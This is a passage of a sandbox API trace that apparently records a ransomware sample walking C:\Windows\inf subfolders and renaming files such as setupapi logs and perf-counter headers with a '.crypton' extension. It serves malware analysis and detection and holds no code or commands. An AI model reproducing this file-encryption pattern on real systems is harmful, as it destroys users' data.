lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1685a480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1685a480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0256.963] GetFileType (hFile=0x178) returned 0x1 [0256.967] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\rdyboost\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1685a480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1685a480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0256.968] GetFileType (hFile=0x178) returned 0x1 [0256.972] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\rdyboost\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1685a480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1685a480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0256.973] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0256.973] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0256.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0256.974] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0256.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0256.975] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0256.975] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0256.976] CloseHandle (hObject=0x178) returned 1 [0256.977] GetFileType (hFile=0x1f0) returned 0x1 [0256.982] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\RemoteAccess\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5c28cc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x168805e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x168805e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0256.983] GetFileType (hFile=0x178) returned 0x1 [0256.988] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\RemoteAccess\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5c28cc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x168805e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x168805e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0256.989] GetFileType (hFile=0x178) returned 0x1 [0257.002] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\RemoteAccess\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x168a6740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x168a6740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0257.003] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0257.003] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0257.003] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0257.003] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0257.003] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0257.003] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0257.003] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0257.003] CloseHandle (hObject=0x178) returned 1 [0257.009] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x168cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x168cc8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0257.010] GetFileType (hFile=0x178) returned 0x1 [0257.015] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x168cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x168cc8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0257.015] GetFileType (hFile=0x178) returned 0x1 [0257.020] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x168cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x168cc8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0257.023] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\_ServiceModelEndpointPerfCounters.h" (normalized: "c:\\windows\\inf\\servicemodelendpoint 3.0.0.0\\_servicemodelendpointperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\_ServiceModelEndpointPerfCounters.h.crypton" (normalized: "c:\\windows\\inf\\servicemodelendpoint 3.0.0.0\\_servicemodelendpointperfcounters.h.crypton"), dwFlags=0x2) returned 1 [0257.030] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x168f2a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x168f2a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0257.030] GetFileType (hFile=0x178) returned 0x1 [0257.034] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x168f2a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x168f2a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0257.035] GetFileType (hFile=0x178) returned 0x1 [0257.039] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x16918b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x16918b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0257.042] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\_ServiceModelOperationPerfCounters.h" (normalized: "c:\\windows\\inf\\servicemodeloperation 3.0.0.0\\_servicemodeloperationperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\_ServiceModelOperationPerfCounters.h.crypton" (normalized: "c:\\windows\\inf\\servicemodeloperation 3.0.0.0\\_servicemodeloperationperfcounters.h.crypton"), dwFlags=0x2) returned 1 [0257.050] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ServiceModelService 3.0.0.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x16918b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x16918b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0257.050] GetFileType (hFile=0x178) returned 0x1 [0257.055] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ServiceModelService 3.0.0.0\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1693ecc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1693ecc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0257.056] GetFileType (hFile=0x178) returned 0x1 [0257.060] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ServiceModelService 3.0.0.0\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1693ecc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1693ecc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0257.063] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\ServiceModelService 3.0.0.0\\_ServiceModelServicePerfCounters.h" (normalized: "c:\\windows\\inf\\servicemodelservice 3.0.0.0\\_servicemodelserviceperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\ServiceModelService 3.0.0.0\\_ServiceModelServicePerfCounters.h.crypton" (normalized: "c:\\windows\\inf\\servicemodelservice 3.0.0.0\\_servicemodelserviceperfcounters.h.crypton"), dwFlags=0x2) returned 1 [0257.094] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\setupapi.app.log" (normalized: "c:\\windows\\inf\\setupapi.app.log"), lpNewFileName="C:\\\\Windows\\inf\\setupapi.app.log.crypton" (normalized: "c:\\windows\\inf\\setupapi.app.log.crypton"), dwFlags=0x2) returned 1 [0257.410] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\setupapi.dev.log" (normalized: "c:\\windows\\inf\\setupapi.dev.log"), lpNewFileName="C:\\\\Windows\\inf\\setupapi.dev.log.crypton" (normalized: "c:\\windows\\inf\\setupapi.dev.log.crypton"), dwFlags=0x2) returned 1 [0257.556] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\setupapi.offline.log" (normalized: "c:\\windows\\inf\\setupapi.offline.log"), lpNewFileName="C:\\\\Windows\\inf\\setupapi.offline.log.crypton" (normalized: "c:\\windows\\inf\\setupapi.offline.log.crypton"), dwFlags=0x2) returned 1 [0257.564] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 3.0.0.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x16e018c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x16e018c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.328] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 3.0.0.0\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1754bc20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1754bc20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.329] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0258.340] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 3.0.0.0\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x17571d80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17571d80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.349] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\SMSvcHost 3.0.0.0\\_SMSvcHostPerfCounters.h" (normalized: "c:\\windows\\inf\\smsvchost 3.0.0.0\\_smsvchostperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\SMSvcHost 3.0.0.0\\_SMSvcHostPerfCounters.h.crypton" (normalized: "c:\\windows\\inf\\smsvchost 3.0.0.0\\_smsvchostperfcounters.h.crypton"), dwFlags=0x2) returned 1 [0258.358] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17597ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17597ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.364] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0001\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x175be040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x175be040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.369] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x175be040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x175be040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.376] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0006\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x175be040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x175be040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.381] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0007\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x175e41a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x175e41a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.387] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0008\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x175e41a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x175e41a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.392] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0009\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x175e41a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x175e41a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.400] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\000A\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1760a300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1760a300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.405] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\000B\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1760a300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1760a300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.410] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\000C\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17630460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17630460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.416] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\000D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17630460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17630460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.423] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\000E\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17630460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17630460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.424] GetFileType (hFile=0x178) returned 0x1 [0258.429] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0010\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x176565c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x176565c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.434] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0011\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x176565c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x176565c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.440] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0012\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x176565c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x176565c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.447] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0013\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1767c720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1767c720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.453] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\0014\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1767c720, 